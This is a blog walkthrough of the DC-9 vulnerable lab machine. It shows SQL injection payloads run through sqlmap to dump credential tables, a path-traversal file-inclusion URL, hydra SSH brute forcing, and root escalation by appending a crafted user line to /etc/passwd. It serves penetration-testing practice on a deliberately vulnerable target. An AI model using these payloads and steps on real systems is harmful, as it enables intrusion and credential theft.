DC-9 — Walkthrough

Mr. Robot
InfoSec Adventures
Published in
11 min readDec 31, 2019

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

Currently the box is not available on Vulnhub but you can download it from here: http://five86.com/dc-9.html

Port Scanning

I started with a simple port scan which included all kinds of version detection, OS detection, default scripts, etc.. (-A) and all ports (-p-).

t0thkr1s : ~
➤ nmap -A -Pn -p- 192.168.1.79
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-30 10:17 CET
Nmap scan report for dc-9 (192.168.1.79)
Host is up (0.00098s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome

Only port 80 was open, nothing else. nikto and gobuster wasn't really useful, so I started with manual enumeration and explored the site's functionalities.

‌I found a search box and I immediately thought SQL injection. I captured the request in Burp Suite and saved it to use it with sqlmap . You can see the saved request below.

POST /results.php HTTP/1.1
Host: 192.168.1.79
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://192.168.1.79
Connection: close
Referer: http://192.168.1.79/search.php
Cookie: PHPSESSID=m1jm8grml1o08gvi0sppk1c2rv
Upgrade-Insecure-Requests: 1
search=whatever

SQL Injection

First, I listed out the available databases using the --dbs switch.

t0thkr1s : /opt/tools/sqlmap
➤ ./sqlmap.py -r ~/Downloads/dc-9-search.req --dbms=mysql --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.3.10.26#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:17:11 /2019-12-30/[10:17:11] [INFO] parsing HTTP request from '/Users/t0thkr1s/Downloads/dc-9-search.req'
[10:17:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=whatever' AND (SELECT 6149 FROM (SELECT(SLEEP(5)))BfaU) AND 'ipsZ'='ipsZ
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=whatever' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6a71,0x6e78555054717778795a555066476261626e56445675784c416d437448656b447344647450715972,0x716b767171),NULL,NULL-- NEmZ
---
[10:17:11] [INFO] testing MySQL
[10:17:11] [INFO] confirming MySQL
[10:17:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[10:17:11] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] Staff
[*] users
[10:17:11] [INFO] fetched data logged to text files under '/Users/t0thkr1s/.sqlmap/output/192.168.1.79'[*] ending @ 10:17:11 /2019-12-30/

Users Table

I got 2 interesting tables. By dumping the users table, I was able to get all the users and their passwords in clear text. I created 2 separate files, one for the usernames and one for the passwords. They’ll be needed later on. 😉

t0thkr1s : /opt/tools/sqlmap
➤ ./sqlmap.py -r ~/Downloads/dc-9-search.req --dbms=mysql -D users -T UserDetails --dump
___
__H__
___ ___["]_____ ___ ___ {1.3.10.26#dev}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:57:50 /2019-12-30/[13:57:50] [INFO] parsing HTTP request from '/Users/t0thkr1s/Downloads/dc-9-search.req'
[13:57:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=whatever' AND (SELECT 6149 FROM (SELECT(SLEEP(5)))BfaU) AND 'ipsZ'='ipsZ
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=whatever' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6a71,0x6e78555054717778795a555066476261626e56445675784c416d437448656b447344647450715972,0x716b767171),NULL,NULL-- NEmZ
---
[13:57:51] [INFO] testing MySQL
[13:57:51] [INFO] confirming MySQL
[13:57:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[13:57:51] [INFO] fetching columns for table 'UserDetails' in database 'users'
[13:57:51] [INFO] fetching entries for table 'UserDetails' in database 'users'
Database: users
Table: UserDetails
[17 entries]
+----+-----------+------------+---------------------+---------------
| id | username | lastname | reg_date | password | firstname |
+----+-----------+------------+---------------------+---------------
| 1 | marym | Moe | 2019-12-29 16:58:26 | 3kfs86sfd | Mary |
| 2 | julied | Dooley | 2019-12-29 16:58:26 | 468sfdfsd2 | Julie |
| 3 | fredf | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1 | Fred |
| 4 | barneyr | Rubble | 2019-12-29 16:58:26 | RocksOff | Barney |
| 5 | tomc | Cat | 2019-12-29 16:58:26 | TC&TheBoyz | Tom |
| 6 | jerrym | Mouse | 2019-12-29 16:58:26 | B8m#48sd | Jerry |
| 7 | wilmaf | Flintstone | 2019-12-29 16:58:26 | Pebbles | Wilma |
| 8 | bettyr | Rubble | 2019-12-29 16:58:26 | BamBam01 | Betty |
| 9 | chandlerb | Bing | 2019-12-29 16:58:26 | UrAG0D! | Chandler |
| 10 | joeyt | Tribbiani | 2019-12-29 16:58:26 | Passw0rd | Joey |
| 11 | rachelg | Green | 2019-12-29 16:58:26 | yN72#dsd | Rachel |
| 12 | rossg | Geller | 2019-12-29 16:58:26 | ILoveRachel | Ross |
| 13 | monicag | Geller | 2019-12-29 16:58:26 | 3248dsds7s | Monica |
| 14 | phoebeb | Buffay | 2019-12-29 16:58:26 | smellycats | Phoebe |
| 15 | scoots | McScoots | 2019-12-29 16:58:26 | YR3BVxxxw87 | Scooter |
| 16 | janitor | Trump | 2019-12-29 16:58:26 | Ilovepeepee | Donald |
| 17 | janitor2 | Morrison | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott |
+----+-----------+------------+---------------------+---------------
[13:57:51] [INFO] table 'users.UserDetails' dumped to CSV file '/Users/t0thkr1s/.sqlmap/output/192.168.1.79/dump/users/UserDetails.csv'
[13:57:51] [INFO] fetched data logged to text files under '/Users/t0thkr1s/.sqlmap/output/192.168.1.79'
[*] ending @ 13:57:51 /2019-12-30/‌

Staff Table

There was a Staff table too which contained the admin user and his MD5 password hash. You can crack this hash easily with any online tool and log in to the web application.

t0thkr1s : /opt/tools/sqlmap
➤ ./sqlmap.py -r ~/Downloads/dc-9-search.req --dbms=mysql -D Staff -T Users --dump
___
__H__
___ ___[.]_____ ___ ___ {1.3.10.26#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:21:09 /2019-12-30/[10:21:09] [INFO] parsing HTTP request from '/Users/t0thkr1s/Downloads/dc-9-search.req'
[10:21:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=whatever' AND (SELECT 6149 FROM (SELECT(SLEEP(5)))BfaU) AND 'ipsZ'='ipsZ
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=whatever' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6a71,0x6e78555054717778795a555066476261626e56445675784c416d437448656b447344647450715972,0x716b767171),NULL,NULL-- NEmZ
---
[10:21:09] [INFO] testing MySQL
[10:21:09] [INFO] confirming MySQL
[10:21:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[10:21:10] [INFO] fetching columns for table 'Users' in database 'Staff'
[10:21:10] [INFO] fetching entries for table 'Users' in database 'Staff'
[10:21:10] [INFO] recognized possible password hashes in column 'Password'
do you want to crack them via a dictionary-based attack? [Y/n/q] ner processing with other tools [y/N]
Database: Staff
Table: Users
[1 entry]
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
[10:21:17] [INFO] table 'Staff.Users' dumped to CSV file '/Users/t0thkr1s/.sqlmap/output/192.168.1.79/dump/Staff/Users.csv'
[10:21:17] [INFO] fetched data logged to text files under '/Users/t0thkr1s/.sqlmap/output/192.168.1.79'

Cracked admin password: transorbital1

After logging in, you don’t really have any new functionality that allows you to upload a reverse shell or something. At this point, I started struggling and asked the creator of the machine for a nudge. The solution was literally staring at me “File does not exists”. Local File Inclusion. That’s right! By adding a file parameter, I was able to read files on the target system.

Alright… What’s next? I began to read various configuration files under the /etc/ directory. At this point, I have started reading various files and somehow I opened port 22. This was obviously unintentional and unintended. So, here’s the real and probably inteded way to open up SSH. By reading the /etc/knockd.conf file, you’ll get a list of ports that needs to be knocked on.

http://192.168.1.79/welcome.php?file=../../../../../../../etc/knockd.conf

After I did that I noticed that port 22 opened up.

t0thkr1s : ~
➤ nmap -A -Pn -p- 192.168.1.79
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-31 12:16 CET
Nmap scan report for dc-9 (192.168.1.79)
Host is up (0.0014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:b3:38:74:32:74:0b:c5:16:dc:13:de:cb:9b:8a:c3 (RSA)
| 256 06:5c:93:87:15:54:68:6b:88:91:55:cf:f8:9a:ce:40 (ECDSA)
|_ 256 e4:2c:88:da:88:63:26:8c:93:d5:f7:63:2b:a3:eb:ab (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I had the usernames and passwords ready, I just needed to fire up hydra .

t0thkr1s : ~
➤ hydra -L usernames.txt -P passwords.txt ssh://192.168.1.79
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-30 20:55:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 324 login tries (l:18/p:18), ~21 tries per task
[DATA] attacking ssh://192.168.1.79:22/
[22][ssh] host: 192.168.1.79 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.79 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.79 login: janitor password: Ilovepeepee

Hydra successfully identified 3 correct username / password combinations and I used them to log in. However, two of them were quite useless but the janitor's home directory contained a hidden note with more passwords.

janitor@dc-9:~$ ls -la
total 144
drwx------ 3 janitor janitor 4096 Dec 31 06:01 .
drwxr-xr-x 19 root root 4096 Dec 29 20:02 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 21:48 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Dec 31 06:01 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 17:10 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls -la
total 12
drwx------ 2 janitor janitor 4096 Dec 29 17:10 .
drwx------ 3 janitor janitor 4096 Dec 31 06:01 ..
-rwx------ 1 janitor janitor 66 Dec 29 17:10 passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

I added these to my existing list of passwords and run the brute-force attack one more time.

t0thkr1s : ~/Downloads
➤ hydra -L usernames.txt -P passwords.txt ssh://192.168.1.79
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-30 21:05:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 432 login tries (l:18/p:24), ~27 tries per task
[DATA] attacking ssh://192.168.1.79:22/
[22][ssh] host: 192.168.1.79 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.1.79 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.1.79 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.1.79 login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found

I was presented with an additional account that looked promising.

t0thkr1s : ~
➤ ssh fredf@192.168.1.79
fredf@192.168.1.79's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
fredf@dc-9:~$ id
uid=1003(fredf) gid=1003(fredf) groups=1003(fredf)

Privilege Escalation

fredf could run a strange executable as root without a password.

fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$

I found the source code of the application which was quite basic. It needs 2 arguments (both of them are files). The program reads the content of the first file and appends it to the second file. Easy, right?! & lots of possibilities…

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sysif len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()

The first thing that came to my mind was to create a new user entry and append it to the /etc/passwd file. This is probably the easiest solution. First, I generated a password for the new user using a Perl one-liner.

t0thkr1s : ~
➤ perl -le 'print crypt("pwned", "whatever")'
whlU7j.8He1gc

You can follow the rest of the process on the below code snippet. There are other ways to escalate privileges like editing the /etc/sudoers file. Let me know your solutions!

fredf@dc-9:~$ nano passwd.txt
fredf@dc-9:~$ cat passwd.txt
pwned:whlU7j.8He1gc:0:0:pwned:/root:/bin/bash
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test passwd.txt /etc/passwd
fredf@dc-9:~$ su pwned
Password:
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
root@dc-9:/home/fredf# cd
root@dc-9:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
Congratulations - you have done well to get to this point.Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .They are an inspirational bunch of fellows.Sure, they might smell a bit, but...just kidding. :-)Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.root@dc-9:~#

Before You Go

Thank you for taking the time to read my walkthrough. If you found it helpful, please hit the 👏 button 👏 (up to 50x) and share it to help others with similar interest find it! & Feedback is always welcome! 🙏

--

--

Mr. Robot
InfoSec Adventures

Self-taught developer with an interest in Offensive Security. I regularly play on Vulnhub and Hack The Box.